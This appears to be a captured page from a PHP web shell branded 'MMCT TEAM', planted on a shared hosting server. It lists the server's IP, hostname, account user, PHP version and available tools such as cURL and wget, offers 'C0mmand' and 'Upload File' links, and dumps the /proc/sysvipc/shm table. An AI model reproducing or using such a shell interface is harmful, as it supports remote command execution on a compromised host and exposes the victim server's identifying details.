MMCT TEAM
1Server IP : 217.21.90.164  /  Your IP : 216.73.216.51
Web Server : LiteSpeed
System : Linux in-mum-web840.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u367232671 ( 367232671)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0555) :  /proc/sysvipc/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //proc/sysvipc/shm
       key      shmid perms                  size  cpid  lpid nattch   uid   gid  cuid  cgid      atime      dtime      ctime                   rss                  swap
      5555          0   644                  1024  8816 695379      0     0     0     0     0 1751175311 1751175311 1740442238                  4096                     0
         0   49643529  1600                524288 2529839 44505      1 513340991 1066255279 513340991 1066255279 1751253380 1751253392 1751247188                  8192                     0
         0   49610797  1600                524288 30471 213431      1 586869933 1044201577 586869933 1044201577 1751253555 1751253567 1751244399                  8192                     0
         0   49643578  1600                524288 4123841 122543      1 513340991 1066255279 513340991 1066255279 1751253436 1751253448 1751253270                  8192                     0
         0   49643579  1600                524288 4125556 260733      1 362925073 2005716293 362925073 2005716293 1751253618 1751253630 1751253274                  8192                     0
         0   49643580  1600                524288 193579 193622      1 513340991 1066255279 513340991 1066255279 1751253517 1751253530 1751253517                  8192                     0
         0   49643581  1600                524288 226783 226811      1 513340991 1066255279 513340991 1066255279 1751253587 1751253606 1751253587                  8192                     0

MMCT - 2023